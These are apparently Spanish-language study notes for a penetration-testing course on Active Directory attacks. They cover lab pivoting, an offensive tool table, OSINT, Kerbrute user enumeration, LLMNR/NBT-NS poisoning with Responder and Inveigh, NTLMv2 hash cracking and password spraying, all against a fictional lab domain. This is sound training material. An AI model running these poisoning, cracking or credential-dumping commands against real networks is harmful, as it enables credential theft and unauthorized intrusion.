![[Pasted image 20260705150727.png]]
- Nos pasamos el id_rsa a la kali mediante un servidor web
![[Pasted image 20260705150737.png]]![[Pasted image 20260705150749.png]]
- Usamos el id_rsa para conectarnos y realizar un escaneo de hosts en la red y encontramos el siguiente host al que haremos pivoting
![[Pasted image 20260705150950.png]]
![[Pasted image 20260705151133.png]]
- Creamos un tunel SOCK para poder usar proxychains dentro de la red interna y nos conectamos via RDP para conseguir la flag
![[Pasted image 20260705151851.png]]![[Pasted image 20260705153828.png]]![[Pasted image 20260705153856.png]]
- Miramos las interfaces y encontramos otra subred y haciendo un escaneo de hosts activos en esa subred encontramos el siguiente host
![[Pasted image 20260705154535.png]]![[Pasted image 20260705160531.png]]![[Pasted image 20260705154552.png]]
- Como pista nos han dicho que en anteriores pentest se dieron cuenta de que habia cuentas de servicio con credenciales expuestas, por lo que podemos usar mimikatz para ver las credenciales expuetas. Para ello creamos un recursos compartido en la conexion RDP y nos pasamos mimikatz al host
![[Pasted image 20260705155054.png]]
![[Pasted image 20260705155213.png]]
- Usando mimikatz encontramos las credenciales que usaremos para conectarnos via RDP al siguiente host
![[Pasted image 20260705155341.png]]![[Pasted image 20260705155406.png]]
- Nos conectamos al host y conseguimos la siguiente flag
![[Pasted image 20260705160604.png]]![[Pasted image 20260705160625.png]]![[Pasted image 20260705160822.png]]
- Por ultimo revisando los archivos vimos un recurso compartido con DC donde se encontraba la ultima flag
![[Pasted image 20260705160908.png]]![[Pasted image 20260705160922.png]]
- Quisimos ver en que subred e IP se encontraba el KDC para completar el dibujo de red
![[Pasted image 20260705161034.png]]![[Pasted image 20260705161049.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 1. Introduccion AD
1. Introduccion A La Enumeracion Y Ataques En AD
Explicacion AD
Servicio de directorio para entornos empresariales basado en protocolos x.500 y LDAP que lo precedieron y aun los usa para algunas actividades
Es una estructura distribuida y jerarquica que permite la gestion centralizada de recursos de la organizacion (usuarios, ordenadores, grupos, dispositivos de red, compartidos)
Proporciona funciones de:
- Autenticacion
- Contabiliadad
- Autorizacion
El objetivo general de obtener un acceso inicial en el entorno de AD de un cliente es escalar privilegios moviéndose lateral o verticalmente a través de la red hasta que logremos el propósito de la evaluación
Para ejercicios
- MS01: maquina Windows que tendremos acceso via RDP
- ATTACK01: maquina Linux que tendremos acceso via SSH aunque tambien se puede acceder via RDP ya que se le instalo XRDP
Las herramientas estaran en:
- MS01: C:\Tools
- ATTACK: /opt
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 1. Introduccion AD
2. Herramientas
Ubicacion
Como se dijo estaran ubicadas en:
- MS01: C:\Tools
- ATTACK: /opt
Herramientas AD
| Herramienta |
Descripcion |
| PowerView/SharpView |
Enumeran y consultan información de Active Directory (usuarios, grupos, equipos, permisos, sesiones, etc.) para descubrir relaciones, accesos y posibles vías de ataque. PowerView usa PowerShell y SharpView es su port a .NET. |
| BloodHound |
Representa gráficamente las relaciones y permisos de AD para identificar posibles rutas de ataque hasta objetivos de interés. |
| SharpHound |
Recolector de datos de BloodHound escrito en C#. Extrae información de AD (usuarios, grupos, ACL, GPO, sesiones, equipos…) y genera archivos para importarlos en BloodHound. |
| BloodHound.py |
Ingestor/recolector de BloodHound escrito en Python, útil para recopilar información de AD desde una máquina atacante no unida al dominio. |
| Kerbrute |
Utiliza Kerberos para enumerar usuarios, realizar password spraying y probar credenciales mediante fuerza bruta. |
| Impacket toolkit |
Colección de herramientas en Python para interactuar con protocolos de red y realizar enumeración y ataques sobre Active Directory |
| Responder |
Realiza poisoning de LLMNR, NBT-NS y mDNS para interceptar solicitudes de resolución de nombres y capturar credenciales/hashes |
| Inveigh.ps1 |
Alternativa a Responder escrita en PowerShell, orientada a realizar spoofing y poisoning en la red. |
| C# Inveigh (InveighZero) |
Versión en C# de Inveigh, con consola interactiva para realizar poisoning y gestionar los usuarios/hashes capturados. |
| rpcinfo |
Enumera los servicios RPC disponibles en un host remoto y muestra información sobre ellos. |
| rpcclient |
Herramienta de Samba para interactuar con RPC de Windows y enumerar información de AD, como usuarios, grupos, dominios y políticas. |
| CrackMapExec (CME) |
Herramienta para enumeración, validación de credenciales y post-explotación en entornos AD mediante protocolos como SMB, WinRM, WMI y MSSQL. |
| Rubeus |
Herramienta en C# especializada en Kerberos, utilizada para enumerar y realizar distintas técnicas de abuso de Kerberos. |
| GetUserSPNs.py |
Módulo de Impacket que identifica cuentas con SPN asociados, útil para detectar usuarios susceptibles de Kerberoasting |
| Hashcat |
Herramienta para crackear hashes y recuperar contraseñas mediante distintos tipos de ataques. |
| enum4linux |
Enumera información de sistemas Windows/Samba, como usuarios, grupos, recursos compartidos y políticas. |
| enum4linux-ng |
Versión modernizada de enum4linux para realizar enumeración de Windows/Samba de forma más estructurada. |
| ldapsearch |
Cliente de línea de comandos para realizar consultas LDAP y obtener información de Active Directory. |
| windapsearch |
Script en Python que automatiza la enumeración de usuarios, grupos y equipos de AD mediante LDAP. |
| DomainPasswordSpray.ps1 |
Script PowerShell para realizar password spraying contra usuarios de un dominio. |
| LAPSToolkit |
Herramientas PowerShell para enumerar y auditar LAPS, identificando equipos y permisos relacionados con contraseñas de administradores locales. |
| smbmap |
Enumera recursos compartidos SMB y sus permisos para identificar a qué recursos puede acceder un usuario. |
| psexec.py |
Herramienta de Impacket para obtener ejecución remota de comandos en Windows mediante SMB, proporcionando una shell semiinteractiva |
| wmiexec.py |
Herramienta de Impacket para ejecutar comandos remotamente mediante WMI |
| Snaffler |
Busca automáticamente información sensible y credenciales en recursos compartidos de archivos accesibles dentro de un entorno AD. |
| smbserver.py |
Levanta rápidamente un servidor SMB, principalmente útil para transferir archivos entre el atacante y equipos Windows. |
| setspn.exe |
Herramienta de Windows para consultar, añadir, modificar o eliminar SPN asociados a cuentas de Active Directory. |
| Mimikatz |
Herramienta para extraer y utilizar credenciales de Windows, incluyendo contraseñas, hashes NTLM y tickets Kerberos; permite técnicas como Pass-the-Hash. |
| secretsdump.py |
Herramienta de Impacket para extraer hashes y secretos de SAM/LSA/NTDS, tanto local como remotamente. |
| evil-winrm |
Proporciona una shell remota de PowerShell mediante WinRM usando credenciales válidas |
| mssqlclient.py |
Cliente de Impacket para conectarse e interactuar con servidores Microsoft SQL Server (MSSQL). |
| noPac.py |
Explota CVE-2021-42278 + CVE-2021-42287 para escalar desde un usuario de dominio hasta Domain Admin en sistemas vulnerables. |
| rpcdump.py |
Herramienta de Impacket para enumerar endpoints RPC disponibles en un sistema remoto. |
| CVE-2021-1675.py |
PoC de PrintNightmare, vulnerabilidad del servicio de impresión de Windows que puede permitir ejecución de código/elevación de privilegios en sistemas vulnerables |
| ntlmrelayx.py |
Herramienta de Impacket para realizar NTLM Relay, retransmitiendo autenticaciones NTLM capturadas hacia otros servicios. |
| PetitPotam.py |
Explota CVE-2021-36942 para forzar a un equipo Windows a autenticarse contra otro sistema, pudiendo combinarse con ataques de relay. |
| gettgtpkinit.py |
Utiliza certificados mediante PKINIT para solicitar y obtener un TGT de Kerberos. |
| getnthash.py |
Utiliza un TGT y U2U para obtener el hash NTLM del usuario a partir de su PAC. |
| adidnsdump |
Enumera y vuelca registros DNS integrados en Active Directory, similar a realizar una transferencia de zona. |
| gpp-decrypt |
Extrae/descifra credenciales almacenadas en Group Policy Preferences (GPP). |
| GetNPUsers.py |
Herramienta de Impacket para realizar AS-REP Roasting, obteniendo hashes de usuarios que no requieren preautenticación Kerberos para crackearlos offline. |
| lookupsid.py |
Enumera usuarios y grupos mediante consultas/brute-force de SID. |
| ticketer.py |
Herramienta de Impacket para crear y personalizar tickets Kerberos TGT/TGS, incluyendo Golden Tickets |
| raiseChild.py |
Automatiza la escalada desde un dominio hijo hacia el dominio padre cuando existen las condiciones necesarias. |
| Active Directory Explorer |
Visor/editor para explorar objetos, atributos y permisos de AD, crear snapshots y comparar cambios entre ellos. |
| PingCastle |
Audita la seguridad global de Active Directory, detectando riesgos y configuraciones débiles y evaluando su nivel de madurez. |
| Group3r |
Audita las GPO de Active Directory para identificar errores de configuración y posibles problemas de seguridad. |
| ADRecon |
Recopila gran cantidad de información de Active Directory y genera informes para obtener una visión general de su configuración y estado de seguridad. |
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 1. Introduccion AD
3. Escenario
Somos Pentesters que trabajamos para CAT-5 Security. Después de unos cuantos proyectos exitosos acompañando al equipo, los miembros más veteranos quieren ver qué tan bien nos desenvolvemos iniciando una evaluación por nuestra cuenta
![[Pasted image 20260924105633.png]]
La evaluación final de este módulo es la ejecución de dos pruebas de penetración internas (internal penetration tests) contra la empresa Inlanefreight
Durante estas evaluaciones, trabajaremos en una prueba de penetración interna simulando partir de una posición de brecha externa y una segunda comenzando con una máquina de ataque dentro de la red interna, como suelen solicitar los clientes
Alcance de la evaluacion
Dentro del alcance de la evaluación
**![[Pasted image 20260924105943.png]]
Fuera del alcance
Cualquier otro subdominio de INLANEFREIGHT.LOCAL
Cualquier subdominio de FREIGHTLOGISTICS.LOCAL
Cualquier ataque de phishing o de ingeniería social (social engineering)
Cualquier otra IP/dominio/subdominio no mencionado explícitamente
Cualquier tipo de ataque contra el sitio web del mundo real inlanefreight.com fuera de la enumeración pasiva mostrada en este módulo
Métodos utilizados
La recopilación de información externa está autorizada para demostrar los riesgos asociados con la información que se puede obtener sobre la empresa desde internet. Para simular un ataque del mundo real, CAT-5 y sus evaluadores llevarán a cabo la recopilación de información externa desde una perspectiva anónima en internet sin que se proporcione por adelantado ninguna información sobre Inlanefreight, aparte de la que se facilita en este documento
Cat-5 realizará una enumeración pasiva para descubrir información que pueda ayudar con las pruebas internas
No se realizarán enumeraciones activas, escaneos de puertos ni ataques contra direcciones IP del “mundo real” expuestas a internet ni contra el sitio web ubicado en https://www.inlanefreight.com
Pruebas internas
La parte de la evaluación interna está diseñada para demostrar los riesgos asociados a las vulnerabilidades en los hosts y servicios internos (Active Directory específicamente) intentando emular vectores de ataque desde el área de operaciones de Inlanefreight. El resultado permitirá a Inlanefreight evaluar los riesgos de las vulnerabilidades internas y el impacto potencial de una vulnerabilidad explotada con éxito.
Para simular un ataque del mundo real, Cat-5 llevará a cabo la evaluación desde la perspectiva de un actor interno no confiable sin información previa, aparte de la proporcionada en esta documentación y la descubierta en las pruebas externas
Las pruebas comenzarán desde una posición anónima en la red interna con el objetivo de obtener credenciales de usuario de dominio, enumerar el dominio interno, conseguir un punto de apoyo (foothold) y moverse lateral y verticalmente para lograr comprometer todos los dominios internos dentro del alcance
Pruebas de contraseñas
Los archivos de contraseñas capturados de los dispositivos de Inlanefreight, o proporcionados por la organización, podrán cargarse en estaciones de trabajo sin conexión para su descifrado y utilizarse para obtener más acceso y cumplir los objetivos de la evaluación
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 2. Enumeracion Inicial
1. Recon Y Enumeracion Externa
La recon y enum externa puede servir para:
- Validar la info que nos dan en la documentacion
- Asegurarnos de que estamos frente al alcance apropiado
- Buscar informacion de acceso publico que puede ayudarnos en la prueba
Que buscamos
- Espacio IP
- Informacion del dominio
- Listas de nombres, correos, passwords…
- Revelaciones de datos como archivos .pdf, .ppt…
- Brechas de datos
Donde estamos buscando
-
Registradores de ASN/IP: IANA, arin para buscar en las Américas, RIPE para buscar en Europa, BGP Toolkit
-
Resgistradores de dominio y DNS: Domaintools, PTRArchive, ICANN, peticiones manuales de registros DNS contra el dominio en cuestión o contra servidores DNS conocidos, como 8.8.8.8
-
Redes sociales: LinkedIn, Twitter, Facebook…
-
Sitios web publicos de la empresa: pueden tener informacion importante incrustada, paginas “sobre nosotors”, “contactanos”…
-
Espacion de almacenamiento en la nube y de desarrollo: GitHub, Buckets de AWS S3 y contenedores de almacenamiento de Azure Blog, Búsquedas en Google usando “Dorks”
-
Fuentes de datos de brechas: HaveIBeenPwned, Dehashed
Encontrando espacio de direcciones
BGP-Toolkit alojado en Hurricane Electric
![[Pasted image 20260924133317.png]]
Nos permite investigar que bloque de direcciones estan asignados a una organizacion y dentro de que ASN se encuentran
- Introducimos el dominio o una direccion IP y esta buscara los resultados que encuentre
Muchas empresas grandes y pequeñas autoalojan su infraestructura y son tan grandes que puede que tengan su propio ASN (no es tipico), lo normal es alojarlo en un tercero como Clouudflare, Google Cloud….
La parte de la infraestructura gestionada o autoalojada por terceros debe quedar fuera del alcance
Es por esto que a veces el cliente debera tener aprovacion del proveedor de hosting de terceros antes de realizar las pruebas
DNS
Esto es una forma de validar el alcance y descubrir mas hosts accesibles que no fueron incluidos por el cliente
Sitios web: domaintools y viewdns.info
Podemos obtener datos desde resolucion DNS hasta prueba DNSSEC y si el sitio es accesible en paises restringidos. Podriamos encontrar hosts, subdominios… adicionales fuera del alcance pero que parecen interesantes, hacer una lista y mandarlos a cliente
![[Pasted image 20260924134407.png]]
Datos publicos
Las RRSS nos pueden dar info sobre el equipo, organizacion, implementacion sw y seguridad…
Ejemplo de una oferta de trabajo para administrador de sharepoint:
![[Pasted image 20260924134909.png]]
Sitios web alojados por la organizacion para recopilar correos, numeros de telefono, organigramas, documentos. Estos (sobre todo los documentos incrustados) podrian tener enlaces hacia infraestructura interna
Con el creciente uso de sitios como GitHub, el almacenamiento en la nube de AWS y otras plataformas alojadas en la web, los datos también pueden filtrarse
Herramientas como Trufflehog y sitios como Greyhat Warfare son recursos fantásticos para encontrar estas migas de pan.
Proceso ejemplo de enumeracion
Sobre el dominio inlanefreight.com
- Comprobar datos de ASN/IP y dominio
![[Pasted image 20260924135541.png]]
Aqui vemos alguna info interesante:
-
Direccion IP: 134.209.24.248
-
Servidor de correo: mail1.inlanefreight.com
-
Servidores de nombres: NS1.inlanefreight.com y NS1.inlanefreight.com
Como no es una gran corporacion no esperabamos que tuviese su propio ASN
![[Pasted image 20260924135739.png]]
Al validar la IP que habiamos encontrado antes, vemos que ambos resultados coinciden con inlanefreigh.com
Vamos ahora a validar los servidores de nombres:
nslookup ns1.inlanefreight.com
![[Pasted image 20260924135910.png]]
Ahora tenemos 2 nuevas direcciones IP para agregar a la lista (hay que asegurarse de que esten en el alcance)
-
Buscamos en redes sociales
Como inlanefreight es una empresa fiticia no tiene presencia en redes sociales
-
Buscamos documentos usando google dorks y el dominio:
filetype:pdf inurl:inlanefreight.com
![[Pasted image 20260924140146.png]]
Aqui aparece un documento, descargamos una copia
- Buscamos direcciones de correo
intext:"@inalenfreight.com" inurl:inlanefreight.com
![[Pasted image 20260924140306.png]]
Obtenemos un resultado prometedor en una pagina de contacto y su info de contacto
- Comprobamos los datos de contacto del correo en la página de contacto que hemos encontrado
![[Pasted image 20260924140456.png]]
Aqui aparecen correos internacionales que comparten una nomenglatura y podemos usar para password spraying o para phishing
- Recoleccion de nombres de usuario en LinkedIn:
linkedin2username: para extraer datos de LinkedIn y crear nombres de usuario seguna la info recolectada
- Busqueda de credenciales:
Dehashed: herramienta de busqueda de credenciales en texto claro y hashes de contraseñas en brechas de datos
sudo python3 dehashed.py -q inlanefreight.local -p
![[Pasted image 20260924140735.png]]
script usado
alternativa
Ejemplo practico
Mientras miramos los records publicos de inlanefreight.com, pudimos ver una flag
![[Pasted image 20260924141027.png]]
![[Pasted image 20260924141226.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 2. Enumeracion Inicial
2. Enumeracion Inicial Del Dominio
Comenzaremos en un host de ataque dentro de la red
![[Pasted image 20260924144457.png]]
Puede ser:
- Distro Linux al que nos conectamos via SSH y que se comunica con nosotros via VPN
- Dispositivo fisico conectado a un puerto ethernet que nos conectamos via SSH yse comunica con nosotros via VPN
- Presencia fisica con un portatil conectado a Ethernet
- VM Azure o AWS con acceso a la red interna accedemos via SSH y nuestra IP esta en lista blanca
- Acceso VPN a la red interna (un poco limitante para ataques de envenenamiento)
- Desde un portatil corporativo conectado a una VPN
- En una workstatition fisica
- En un escritorio virtual VDI a traves de Citrix accesible via VPN
Nuestro caso:
- Una VM personalizada dentro de la red interna que se comunica con nostros y podemos acceder via SSH
- Tenemos un Host Windows con herramientas
- Empezamos desde un punto de vista no autenticado pero con cuenta de usuario de dominio
htb-student
- Caja gris en el rango IP 172.16.5.0/23
- Pruebas no evasivas
Tareas
- Enumerar red interna indentificando hosts, servicios y posibles vias para foothold
- Puede incluir medidas activas y pasivas para identificar usuarios, hosts y vulns
- Documentar cualquier hallazgo que encontremos para su posterior uso
TTPs
Empezaremos con una identificacion pasiva seguida de la validacion activa de resultados para averiguar mas de cada host. Una vez sepamos los hosts existentes podemos pasar a sondear estos hosts
Identificando hosts
- Escuchemos la red con Wireshark o Tcpdump
sudo -E wireshark
Los paquetes ARP nos informan de hosts: 172.16.5.5, 172.16.5.25 172.16.5.50, 172.16.5.100, y 172.16.5.125
![[Pasted image 20260924145610.png]]
MDNS nos informa del host ACADEMY-EA-WEB01
![[Pasted image 20260924145642.png]]
Si estamos en un host sin GUI podemos usar tcpdump, net-creds, y NetMiner, para las mismas funciones:
sudo tcpdump -i INTERFAZ
![[Pasted image 20260924145811.png]]
En algunos hosts tendremos ya herramientas de monitorizacion de red como pktmon.exe
NOTA: SIEMPRE ES BUENO GUARDAR EL TRAFICO EN UN ARCHIVO PCAP
2. Responder: herramienta que escucha, analisis y envenamiento de solicitudes y respuestas LLMNR, NTB-NS y MDNS
En este caso usaremos Analyze mode para escuchar pasivamente y no enviar paquetes envenenados:
sudo responder -I INTERFACE -A
![[Pasted image 20260924150135.png]]
Nos saldran solicitudes en nuestra sesion donde podremos observar hosts unicos que no mencionamos previamente y anotaremos
- Comprobacion activa de barrido ICMP con Fping hacia una lista de multiples hosts
fping -asgq 172.16.5.0/23
![[Pasted image 20260924150533.png]]
-a: mostrar los objetivos vivios
-s: imprimir estadisticas del escaneo
-g: generar una lista de objetivos desde la red CIDR
-q: no mostrar los resultados por objetivos
Podemos combinar los resultados exitosos y los encontrados en las comprobaciones pasivas en una lista para un escaneo mas detallado con nmap
4. Escaneo de red Nmap
sudo nmap -v -A -iL hosts.txt -oN ./host_enum
![[Pasted image 20260924150840.png]]![[Pasted image 20260924151025.png]]
En este escaneo nos han dado la nomenglatura usada por NETBIOS y DNS, vemos los hosts con RDP abierto y nos señala la direccion de Controlador de Dominio (ACADEMY-EA-DC01.INLANEFREIHGT.LOCAL)
- Escaneando a fondo hosts vulns:
Vimos un posible host desactualizado que es el que mas nos ha llamado la atencion el cual es un Windows Server 2008 Standard 7600
nmap -A 172.16.5.100
![[Pasted image 20260924151318.png]]![[Pasted image 20260924151324.png]]
Esto nos dice que hay hosts heredados ejecutandose en AD que pueden tener vulns directas
Los resultados de estos escaneos nos darán pistas sobre dónde comenzaremos a buscar posibles vías de enumeración de dominio
- Miramos lo recolectado:
Necesitamos conseguir nuestro usuario dentro del dominio o un acceso SYSTEM. Mirando la informacion recolectada vemos varios servidores (DC01, MX01, WS01…)
Con esto podemos sondear los servidores en busca de la enumeracion de usuarios
Identificando usuarios
Si nos dan un usuario para comenzar las pruebas, necesitaremos encontrar un punto de apoyo en el dominio, que puede ser mediante:
- Credenciales en texto plano de usuario del dominio
- Hashes NTLM de usuario de dominio que podamos crackear
- Shell SYSTEM en maquina asociada al dominio
- Shell en contexto de un usuario del dominio
Kerbrute - Enumeracion interna de nombres de usuario de AD
Kerbrute: puede ser una opción más sigilosa para la enumeración de cuentas de dominio. Aprovecha el hecho de que los fallos de preautenticación de Kerberos a menudo no activarán registros ni alertas
Insidetrust:
LISTAS DE USUARIOS:
- jsmith.txt
jsmith2.txt
Apuntaremos Kerbrute al DC que encontramos
Binarios precompilados de Kerbrute
- Clonamos el repo
sudo git clone https://github.com/ropnop/kerbrute.git
![[Pasted image 20260924152444.png]]
- Listamos opciones de compilacion
make help
![[Pasted image 20260924152504.png]]
- Compilamos todas las opciones
sudo make all
![[Pasted image 20260924152524.png]]
- Miramos el directorio recien creado con los binarios compilados:
ls /dist
![[Pasted image 20260924152553.png]]
- Comprobamos que funciona
./kerbrute_linux_amd64
![[Pasted image 20260924152628.png]]
- Añadimos la ruta al PATH y renombramos el binario para poder ejecutarlo desde cualquier sitio
echo $PATH /home/htb-student/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/snap/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/htb-student/.dotnet/tools
sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
- Ejecutamos kerbrute contra el DC para enumerar usuarios
kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users
![[Pasted image 20260924152812.png]]
Identificando vulnerabilidades potenciales
La cuenta SYSTEM es una cuenta integrada en SO Windows con el nivel de acceso mas alto y se usa para ejecutar la mayoria de servicios Windows o tambien es comun que servicios o herramientas de terceros se ejecuten como SYSTEM
SYSTEM en una maquina unida a un dominio, podra enumerar el AD haciendose pasar por una cuenta maquina del dominio que es casi equivalente a tener una cuenta de usuario de dominio
Formas de obtener SYSTEM privs:
- Explotaciones remotas de Windows como EternalBlue o BlueKeep
- Abuso de servicio que se ejecuta como SYSTEM o abusar de privs SeImpersonate y usar Juicy Potato (a partir de Server 2019 no funciona siempre)
- 0 days de escalada de privs
- Acceso administrador en un host unido al dominio con una cuenta local y usar Psexec para lanzar una ventana cmd como SYSTEM
Como SYSTEM podemos:
- Enumerar el dominio usando herramientas integradas o herramientas ofensivas como BloodHound y PowerView.
- Realizar ataques de Kerberoasting / ASREPRoasting dentro del mismo dominio.
- Ejecutar herramientas como Inveigh para recopilar hashes Net-NTLMv2 o realizar ataques de retransmisión SMB.
- Realizar suplantación de token (token impersonation) para secuestrar una cuenta de usuario de dominio privilegiada.
- Llevar a cabo ataques de ACL.
Ejemplo practico
Del escaneo que commonName tiene 172.16.5.5
![[Pasted image 20260925133114.png]]
![[Pasted image 20260925133117.png]]
Que host esta corriendo “Microsoft SQL Server 2019 15.00.2000.00” (la IP)
![[Pasted image 20260925133132.png]]![[Pasted image 20260925133139.png]]
![[Pasted image 20260925133144.png]]
![[Pasted image 20260925133149.png]]
![[Pasted image 20260925133158.png]]![[Pasted image 20260925133201.png]]![[Pasted image 20260925133206.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 3. Rastreando Puntos De Apoyo
1. Llmnr Nbt Ns Poisoning From Linux
Envenenamiento de red (network poisoning) y pulverización de contraseñas (password spraying)
Realizamos estas acciones con el objetivo de adquirir credenciales validas en texto plano para una cuenta de usuario del dominio y obtener un punto de apoyo
Manual basico de LLMNR y NBT-NS
LLMNR: Resolución de Nombres de Multidifusión de Vínculo Local (5355 UDP)
NBT-NS: Servicio de Nombres NetBIOS (137 UDP)
Sirven como metodos alternativos de resolicion de hosts por si la resolucion DNS falla. Si DNS falla, la maquina preguntara a las demas maquinas en la red local la direccion correcta del host a traves de LLMNR que esta basado en DNS permitiendo a los hosts en la misma red local realizar resoluciones de nombres
Cuando usamos LLMNR/NBT-NS cualquier host puede resopnder por lo que usaremos Responder para envenenar las solicitudes, suplantando a una fuente autorizada de resolucion de nombres en el dominio broadcast y respondiendo al trafico LLMNR/NBT-NS como si tuvieramos la respuesta
La solucion de autenticacion capturada puede ser usada contra otro protocolo diferente LDAP en el mismo host
Ejemplo rapido de envenenamiento de LLMNR/NBT-NS
- Un host se intenta conectar a un servidor de impresion
\\print01.inlanefreight.local pero escribe por accidente \\printer01.inlanefreight.local
- DNS responde que el host es desconocido
- Host retransmite a toda la red local preguntando por
\\printer01
- Nosotros tendremos el
Responder abierto y le respondemos que somos \\printer01
- El host cree en la respuesta y envia una solicitud de autenticacion con el NOMBRE y NTLM
- Lo capturamos y crackeamos offline o usamos para ataque de retransmision SMB
TTPs
Se pueden usar varias herramientas para intentar el envenenamiento de LLMNR y NBT-NS:
| Herramienta |
Descripcion |
| Responder |
Realiza poisoning de LLMNR, NBT-NS y mDNS para interceptar solicitudes de resolución de nombres y capturar credenciales/hashes |
| Inveigh.ps1 |
Alternativa a Responder escrita en PowerShell, orientada a realizar spoofing y poisoning en la red. |
| C# Inveigh (InveighZero) |
Versión en C# de Inveigh, con consola interactiva para realizar poisoning y gestionar los usuarios/hashes capturados. |
| Metasploit |
Tiene varios escáneres y módulos de suplantación incorporados para lidiar con ataques de envenenamiento |
Accion
En la Enum Inicial usamos Responder en modo Analisis Pasivo (escucho cualquier solicitud de resolucion pero no las respondio ni envio paquetes)
Ahora haremos Responder respondera:
responder -h
![[Pasted image 20260925141959.png]]
-A: nos pone en modo analisis permitiendonos ver solicitudes NBT-NS, LLMNR, BROWSER sin envenenar
-wf: -w iniciara un servidor proxy malicioso WPAD mientras que -f tomara huella digital del SO y la version del host remoto
-v: verbose
-F: forzar autenticacion NTLM
-P: forzar autenticacion del proxy
Aunque pueden causar que aparezca una ventana de autenticaicon
Con esta conf, Responder escuchara y respondera a cualquier solicitud que vea en la red. Si consigue algun hash, lo imprimira por pantalla y lo escribira en un archivo de registro (/usr/share/responder/logs/NOMBRE_MODULO-TIPO_HASH-IP_CLIENTE.txt) pero tambien se mostrara en consola
Ejemplo: SMB-NTLMv2-SSP-172.16.5.25
Debemos usar Responder como root
![[Pasted image 20260925142533.png]]
Iniciando Responder por defecto:
sudo responder -I ens224
![[Pasted image 20260925142616.png]]
Deberíamos iniciar Responder y dejarlo funcionando por un tiempo en una ventana de tmux mientras realizamos otras tareas
Descifrando el hash NTLMv2 con hashcat:
hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt
![[Pasted image 20260925142731.png]]
Ejemplo practico
Corre Responder y obten el hash del usuario que empieza por la letra b. Que usuario es
- Nos conectamos via SSH
![[Pasted image 20260925164520.png]]
- Iniciamos responder y tras esperar obtenemos el hash de backupagent
![[Pasted image 20260925164531.png]]
![[Pasted image 20260925164857.png]]
Crackea el hash y sube la pass en texto plano
- Lo almacenamos en un archivo y lo crackeamos
![[Pasted image 20260925165019.png]]
![[Pasted image 20260925165013.png]]
Obten el hash de wley y crackealo. Sube la pass en texto plano
- Obtenemos el de wley, lo guardamos y crackeamos
![[Pasted image 20260925164714.png]]
![[Pasted image 20260925164839.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 3. Rastreando Puntos De Apoyo
2. Llmnr Nbt Ns Poisoning From Windows
Desde Windows usaremos Inveigh
Inveigh descripcion general
Inveigh: es similar a Responder pero escrita en PS o C#. Escucha por la red en varios protocolos, entre los que se incluye: DNS, LLMNR, mDNS, NBNS, DHCP, HTTP, ICMP, SMB, LDAP, WebDAV y Proxy Auth
wiki de parametros
Usando Inveigh
- Miramos los parametros
Import-Module .\Inveigh.ps1
(Get-Command Invoke-Inveigh).Parameters
![[Pasted image 20260925170509.png]]
- Usamos Inveigh con suplantacion de LLMNR y NBNS y enviamos su salida a un archivo y por consola:
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
![[Pasted image 20260925170559.png]]
![[Pasted image 20260925170614.png]]
C# Inveigh (Inveigh Zero)
.\Inveigh.exe
![[Pasted image 20260925170722.png]]
Como podemos ver, la herramienta se inicia y muestra qué opciones están habilitadas por defecto y cuáles no. Las opciones con un `[+]` son predeterminadas
Podemos presionar la tecla esc para entrar en la consola interactiva mientras Inveigh se está ejecutando.
ESC
![[Pasted image 20260925170826.png]]
Tras escribir HELP y dar a ENTER se nos presentan varias opciones:
HELP
![[Pasted image 20260925170906.png]]
Podemos ver rápidamente los hashes únicos capturados escribiendo GET NTLMV2UNIQUE
GET NTLMV2UNIQUE
![[Pasted image 20260925170923.png]]
Podemos escribir GET NTLMV2USERNAMES y ver qué nombres de usuario hemos recopilado
GET NTLMV2USERNAMES
![[Pasted image 20260925170938.png]]
Ejemplo practico
Corre Inveigh y captura los hashes NTLM de svc_qualys y crackealo
- Nos conectamos via RDP
![[Pasted image 20260925171256.png]]
- Iniciamos Inveigh
![[Pasted image 20260925171440.png]]
- Tras esperar un rato: Esc > GET NTLMV2UNIQUE
![[Pasted image 20260925171546.png]]
- Lo crackeamos offline
![[Pasted image 20260925171713.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 4. Ajuste De Mira, Caza De Un Usuario
1. Panorama De La Pulverizacion De Contraseñas
La pulverización de contraseñas (password spraying) puede resultar en la obtención de acceso a sistemas y en la obtención de un acceso inicial (foothold) en una red objetivo
El ataque consiste en intentar iniciar sesión en un servicio expuesto utilizando una contraseña común y una lista más larga de nombres de usuario o direcciones de correo electrónico
Los nombres de usuario y los correos electrónicos pueden haber sido recopilados durante la fase de OSINT o en nuestros intentos iniciales de enumeración
Consideraciones sobre el pass spraying
Aunque la pulverización de contraseñas es útil su uso descuidado puede causar un daño considerable, como el bloqueo de cientos de cuentas de producción
Visualización de la pulverización de contraseñas
![[Pasted image 20260925172142.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 4. Ajuste De Mira, Caza De Un Usuario
2. Enumeracion Y Obteniendo Politicas De Contraseñas
Hay dos formas, con SMB o con LDAP
SMB
Enumerando la politica de contraseñas desde Linux CON CREDENCIALES
Con credenciales de dominio validas podemos usar CrackMapExec o rpcclient para obtener la politica de contraseñas
crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol
![[Pasted image 20260925184019.png]]
Enumerando la politica de contraseñas desde Linux con Sesiones Nulas de SMB
Sin credenciales podemos obtenerlo a traves de SMB NULL sessions o una vinculacion anonima de LDAP
Las SMB NULL Sessions permiten a un atacante no autenticado obtener informacion del dominio como listas de usuarios, grupos, equipos… (las malas confs de SMB suelen ser de configuraciones in situ de los DCs antiguos)
